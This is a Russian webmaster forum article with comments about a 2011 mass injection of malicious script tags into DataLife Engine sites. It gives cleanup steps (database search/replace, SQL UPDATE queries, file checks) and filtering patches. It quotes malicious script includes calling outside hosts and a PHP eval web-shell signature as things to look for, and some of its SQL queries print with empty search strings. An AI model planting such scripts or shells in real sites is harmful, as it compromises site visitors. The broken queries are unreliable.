prowebber.ru - Тут есть все для настоящих вебмастеров

Чтение RSS Мы в твиттере
«    Декабрь 2016    »
ПнВтСрЧтПтСбВс
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 

Всё для вебмастера » Всё для DataLife Engine » DLE хаки » Массовый взлом сайтов на движке DLE

Массовый взлом сайтов на движке DLE


Данный материал предоставлен сайтом ProWebber.ru исключительно в ознакомительных целях. Администрация не несет ответственности за его содержимое.
У нас вы можете скачать бесплатно Массовый взлом сайтов на движке DLE.


Массовый взлом сайтов на движке DLE

Внимание друзья и пользователи движком DLE. Недавно обнаружил посторонние iframe включения в страницах своих сайтов, покопавшись в интернете увидел, что такой же проблемой страдают тысячи других сайтов на DLE. Атака производилась после нового года, приблизительно в 5-6 числах и продолжается сейчас.

В этой теме я расскажу как избавится от этой проблемы и излечить свой сайт от посторонних включений!

Итак начнём:

Как распознать проблему?
-При переходе по страницам сайт начинает жутко тормозить!
-В полных и кратких новостях присутствует нечто:

<script src="http://zheenix.msk.ru/1d5bba8ac681811be25992f361d9108c.js" type="text/javascript"></script>
<script src="http://ivan81.ucoz.ru/engine.js" type="text/javascript"></script>
<script src="http://www.karbrrbrr.co.cc/1adfb9a63a0313c68f5572caecb8977b.js" type="text/javascript"></script>


Описание проблемы!
Эти включения представляют собой включения в базу MySQL, некоторые из них имеют обычный вид, а некоторые имеют генерируемые комбинации, типа
1d5bba8ac681811be25992f361d9108c
кторох удалить немного сложнее чем обычную статику. Не пытайтесь искать включения в файлах, весь этот мусор как я уже говорил храниится в MySQL!

Решение проблемы и закрытие дыры в жвижке DLE

Способ 1:

1) Смени пароль на базу данных.

2) Сделай 2 автозамены в базе или в "поиск и замена":

а) замени:

<script src="http://zheenix.msk.ru и <script src="http://you-stupped-lox.ucoz.ru


на

<!--


б) замени:

js" type="text/javascript"></script>


на

-->


3) Проверь все файлы сайта (на фтп поиском) на содержание следующего текста:

а)
x2a

б)
{${@eval($_POST[cmd])}}


Сравни найденные файлы с исходниками движка и лишнее удали.

4) Поставь последние заплатки (включая платные)

-----------------------------------------

Способ 2:

Итак, например У меня в краткой и полной новости появилось по 3 скрипта
<script src="http://zheenix.msk.ru/76403bc14134a2b49668b579a3b33ae6.js" type="text/javascript"></script><script src="http://zheenix.msk.ru/abc.js" type="text/javascript"></script><script src="http://ivan81.ucoz.ru/engine.js" type="text/javascript"></script>


Делим их для удобства:
1.
<script src="http://zheenix.msk.ru/76403bc14134a2b49668b579a3b33ae6.js" type="text/javascript"></script>


2.
<script src="http://zheenix.msk.ru/abc.js" type="text/javascript"></script>


3.


1 удалить будет сложнее т.к код после слеша везде разный, поэтому начнем со 2 и 3!
Идем в phpmyadmin, выбираем вкладку SQL, видим окошко и туда вписываем:
UPDATE dle_post
SET
short_story=REPLACE(short_story, '', ''),
`full_story`=REPLACE(full_story, '', '')
WHERE
`short_story` LIKE '%%'
OR
`full_story` LIKE '%%'


Нажимаем ОК, после чего пропадет из новостей скрипт №2!
Не закрывая SQL удаляем так же скрипт №3 тоесть выполняем Такой sql запрос:

UPDATE dle_post
SET
short_story=REPLACE(short_story, '', ''),
`full_story`=REPLACE(full_story, '', '')
WHERE
`short_story` LIKE '%%'
OR
`full_story` LIKE '%%'


Нажимаем ОК!
Скрипт №3 так же удален!

Теперь возьмемся за скрипт №1
В phpmyadmin выбираем вкладку "Экспорт" и нажимаем ОК, сохраняем на компьютер!
Открываем эту базу с помощью ОФИСОВСКОГО ВОРДА, нажимаем "правка"---->>>"замена" и вписываем в поле найти: (zheenix)*(js) а в поле замена zheenix.ru , тут же нажимаем "больше" и ставим галочку на "Подстановочные знаки" , нажимаем "заменить все"!
Этим мы избавились от разного кода! Сохраняем изменения!
Идем в phpmyadmin ---> структура ----> и отмечаем все галочки ---> далее удаляем все!
Теперь идем во вкладку "импорт" , нажимаем обзор и выбираем Нашу измененную БД, ставим вместо utf8 ---> cp1251 и нажиимаем ОК! База загружена!
Теперь бежим в вкладку SQL и выполняем такой запрос:

UPDATE dle_post
SET
short_story=REPLACE(short_story, '', ''),
`full_story`=REPLACE(full_story, '', '')
WHERE
`short_story` LIKE '%%'
OR
`full_story` LIKE '%%'


нажимаем ОК!

Вот собственно и все! Можно конечно и облегчить это все, но я написал как делал сам!
Заняло у меня это минут 10, все же быстей и проще чем руками это делать!
Теперь только надо думать о заплатках)


--------------------------------------------------

А теперь про ХАКИ, закрываем все дыры у нас в движке

1. Взята с ОФФ сайта DLE
Проблема: Недостаточная фильтрация входящих данных.

Ошибка в версии: 9.0 и все более ранние версии

Степень опасности: Высокая

Для исправления откройте файлы engine/modules/search.php и engine/modules/fullsearch.php и найдите:
$count_result = 0;


ниже добавьте:
$sql_count = "";


Откройте файл engine/inc/templates.php и найдите:
$allow_save = false;


ниже добавьте:

$_REQUEST['do_template'] = trim( totranslit($_REQUEST['do_template'], false, false) );
$_REQUEST['do_language'] = trim( totranslit($_REQUEST['do_language'], false, false) );



2. Запрещаем включения типа скрипт и ифрэймв полной и краткой новости:
Проблема: Недостаточная фильтрация входящих данных при обработке новостей.

Ошибка в версии: все версии

Степень опасности: Низкая

Откройте файл: engine/classes/parse.class.php
Найдите:
if( ((strpos( strtolower( $attrSubSet[1] ), 'expression' ) !== false) && ($attrSubSet[0] == 'style')) || (strpos( strtolower( $attrSubSet[1] ), 'javascript:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'behaviour:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'vbscript:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'mocha:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'data:' ) !== false and $attrSubSet[0] == "href") || ($attrSubSet[0] == "href" and strpos( strtolower( $attrSubSet[1] ), $config['admin_path'] ) !== false and preg_match( "/[?&%<\[\]]/", $attrSubSet[1] )) || (strpos( strtolower( $attrSubSet[1] ), 'livescript:' ) !== false) ) continue;


замените на:
if( ((strpos( strtolower( $attrSubSet[1] ), 'expression' ) !== false) && ($attrSubSet[0] == 'style')) || (strpos( strtolower( $attrSubSet[1] ), 'javascript:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'behaviour:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'vbscript:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'mocha:' ) !== false) || (strpos( strtolower( $attrSubSet[1] ), 'data:' ) !== false and $attrSubSet[0] == "href") || (strpos( strtolower( $attrSubSet[1] ), 'data:' ) !== false and $attrSubSet[0] == "src") || ($attrSubSet[0] == "href" and strpos( strtolower( $attrSubSet[1] ), $config['admin_path'] ) !== false and preg_match( "/[?&%<\[\]]/", $attrSubSet[1] )) || (strpos( strtolower( $attrSubSet[1] ), 'livescript:' ) !== false) ) continue;


Найдите:
$source = str_replace( "`", "&#96;", $source );


Ниже добавьте:

$source = preg_replace( "#<iframe#i", "&lt;iframe", $source );
$source = preg_replace( "#<script#i", "&lt;script", $source );


-----------------------------------
Вот так можно избавится от этой серьёзной проблемы, которая может существенно навредить Вашему сайту и его позиции в поисковых системах.
Понравилась моя статья, она тебе помогла? Поставь мне + в репу. ;)


+1
Просмотры: 9531 VIP ProWebber | Комментарии (44)
Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь.
Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.

#1(ppoe)

  • 15 января 2011 21:36
  • Регистрация: 8.12.2010
  • ICQ: 116205
  • Комментариев: 100
  • Выкл.
эпидемия что-ли?

--------------------

-1

#2moss

  • 15 января 2011 21:53
  • Регистрация: 21.02.2010
  • ICQ: --
  • Комментариев: 98
дырявый dle что еще сказать..

0

#3AndreyKR

  • 15 января 2011 21:54
  • Регистрация: 5.10.2010
  • ICQ: 174486
  • Комментариев: 134
Мужики, нашёл новый способ открыть и править базу НЕ ЧЕРЕЗ MICROSOFT WORD (т.к. Ворд постоянно тупит и перековёркивает базу) а через Notepad++
1. Открываем в Нотепаде.
2. Отыскиваем вредоносный код: Вкладка Поиск -> Замена
В графе Найти вставляем выражение, например:
<script src="http://www.karbrrbrr.co.cc/[^"]*.js" type="text/javascript"></script>


в графе Заменить на: "ставим пробел"

В режиме поиска ставим птичку на Регулярное выражение.

И по аналогии с другими адресами вредоносных программ

3. Сохраняем. Заливаем обратно на хостинг уже чистую базу MySQL

У кого возникнут вопросы, пишите мне в ЛС, с удовольствием бесплатно всем помогу!
Спасибо за внимание ;)

--------------------

0

#4(ppoe)

  • 15 января 2011 22:10
  • Регистрация: 8.12.2010
  • ICQ: 116205
  • Комментариев: 100
  • Выкл.
AndreyKR с подключением к интернету

--------------------

0

#5asmakovec2

  • 15 января 2011 23:22
  • Регистрация: 14.09.2010
  • ICQ: --
  • Комментариев: 186
  • Выкл.
Цитата: (ppoe)
AndreyKR с подключением к интернету

Причём здесь подключение к интернету?

Заходим в phpMyAdmin и скачиваем базу к себе на комп, затем открываем в нотепаде и редактируем. И заливаем обратно.

0

#6waran

  • 15 января 2011 23:24
  • Регистрация: 16.10.2009
  • ICQ: --
  • Комментариев: 53
Эту шляпу я встретил и удалял еще в Октябре если не ошибаюсь...
Нужно движку обновлять регулярно !!!
У целки на офф сайте заплата ХЗ сколько висит уже...

0

#7xfirst

  • 15 января 2011 23:25
  • Регистрация: 11.11.2010
  • ICQ: --
  • Комментариев: 12
у меня было такое((( думал сам когда-то навтыкал и забыл biggrin

0

#8waran

  • 15 января 2011 23:26
  • Регистрация: 16.10.2009
  • ICQ: --
  • Комментариев: 53
Сегодня мы имеем версию 9.2 которая в разы совершенней того хлама который был ДО...

0

#9asmakovec2

  • 15 января 2011 23:43
  • Регистрация: 14.09.2010
  • ICQ: --
  • Комментариев: 186
  • Выкл.
Цитата: waran
Сегодня мы имеем версию 9.2 которая в разы совершенней того хлама который был ДО...

Это пока. biggrin . через пару месяцев хакеры понаходят дыры, и станет 9.2 такой несовершенной.

0

#10Хортица

  • 16 января 2011 00:08
  • Регистрация: 6.12.2009
  • ICQ: 244338
  • Комментариев: 38
Цитата: waran
имеем версию 9.2 которая в разы совершенней

Это кто сказал ? 8.2 все помнят ? biggrin

И да, автор новости - скажи, а что ты будешь делать если новостей больше 100 тысяч и соответственно база данных 1Гб ?

0

#11mitrushi

  • 16 января 2011 00:09
  • Регистрация: 4.01.2010
  • ICQ: --
  • Комментариев: 160
Цитата: AndreyKR
Мужики, нашёл новый способ открыть и править базу НЕ ЧЕРЕЗ MICROSOFT WORD

rofl жесть MICROSOFT WORD dash

--------------------

0

#12waran

  • 16 января 2011 00:11
  • Регистрация: 16.10.2009
  • ICQ: --
  • Комментариев: 53
Хортица,

Как что делать laugh
Скачивать, делать замену скриптов или удаление кусками...

0

#13(ppoe)

  • 16 января 2011 00:12
  • Регистрация: 8.12.2010
  • ICQ: 116205
  • Комментариев: 100
  • Выкл.
Причём здесь подключение к интернету?

Всё с тобой ясно.

mitrushi, в каменном веке живём biggrin

--------------------

0

#14Хортица

  • 16 января 2011 00:16
  • Регистрация: 6.12.2009
  • ICQ: 244338
  • Комментариев: 38
Цитата: waran
делать замену скриптов или удаление кусками...

Когда Вы последний раз открывали текстовый файл размером больше чем 300 метров ?
У меня на компе с 4 ядра, 8gb RAM такой файл (на 300-500 метров) открывается около 30 минут.
А файл на 1гб открывается до двух часов. И это не тупорылый word а шустренький аналог блокнота.
А потом запускаете замену по регулярке и можно дня 2 не садится за комп biggrin

0

#15waran

  • 16 января 2011 00:23
  • Регистрация: 16.10.2009
  • ICQ: --
  • Комментариев: 53
Хортица,

ХЗ что за железо у тебя и почему оно так батрачит, у меня TXT в 216 метров открывает менее чем за три мимнуты, 2 ядра (5500+), ram 4...

Это не суть на самом деле, если схватил БЫТЬ удалять...

0

#16mitrushi

  • 16 января 2011 00:39
  • Регистрация: 4.01.2010
  • ICQ: --
  • Комментариев: 160
Цитата: waran
waran, Хортица

поиск через PhpMyAdmin еще никто не отменял..

--------------------

0

#17asmakovec2

  • 16 января 2011 00:59
  • Регистрация: 14.09.2010
  • ICQ: --
  • Комментариев: 186
  • Выкл.
Цитата: Хортица
Это кто сказал ? 8.2 все помнят ? biggrin


помним biggrin

А на что ты этим вопросом намекаешь? Что в 9.2 есть что-то подобное?

0

#18Air-Di

  • 16 января 2011 01:43
  • Регистрация: 11.09.2010
  • ICQ: 9930117
  • Комментариев: 81
Хортица, руки просто поправь)) У меня кнфиг:
Процессор: AMD Phenom II X4 965 BE ( до 4Ггц разгнан)
Оперативы: 4Гб
Мать: Gigabyte 870A
Файл вордовский примерно на 400 метров открывает пару минут. Так, что на гиг спокойно за минут откроет.
У тебя наверно ядра отключены)) Или оперативка воткнута в разные каналы)

--------------------

0

#19sader90

  • 16 января 2011 04:53
  • Регистрация: 7.01.2011
  • ICQ: --
  • Комментариев: 24
<А теперь про ХАКИ, закрываем все дыры у нас в движке> и все что ниже.... У меня и так в движке это было biggrin

0

#20MaLaN

  • 17 января 2011 13:18
  • Регистрация: 1.10.2010
  • ICQ: --
  • Комментариев: 75
врот мне ноги, я это пол часа делал, зато возможно сайт больше проживет biggrin

--------------------

0
1 2 3
Предыдущая    Следующая
Информация
Посетители, находящиеся в группе Гости, не могут оставлять комментарии в данной новости.

Max-energy.top - Заработок на электросчетчиках;)

Skripters.info - все для вебмастера. Только эксклюзивный контент.

Создание шаблонов DLE, быстро и недорого! 3wave.com.ua

Бро лей на лучшую партнёрку

Почти бесплатный VDS хостинг!

Поддержи сайт
Скрипты, cms, шаблоны, статьи по раскрутке

Опросы

Как часто вы бываете на сайте?

Захожу 1-2 раза в день
1-2 часа в сутки
Более 2 часов
Почти целый день тут smile

Архив новостей
Ноябрь 2016 (7)
Октябрь 2016 (10)
Сентябрь 2016 (8)
Август 2016 (11)
Июль 2016 (14)
Июнь 2016 (17)

Последние комментарии:

Искать людей

Ваши переписки